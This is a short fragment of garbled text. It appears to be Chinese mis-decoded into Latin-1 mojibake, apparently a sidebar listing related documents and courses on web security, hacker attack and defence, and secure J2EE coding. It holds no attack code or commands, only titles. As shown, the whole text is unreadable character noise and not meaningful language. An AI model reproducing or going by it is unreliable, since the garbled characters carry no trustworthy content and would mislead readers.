Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶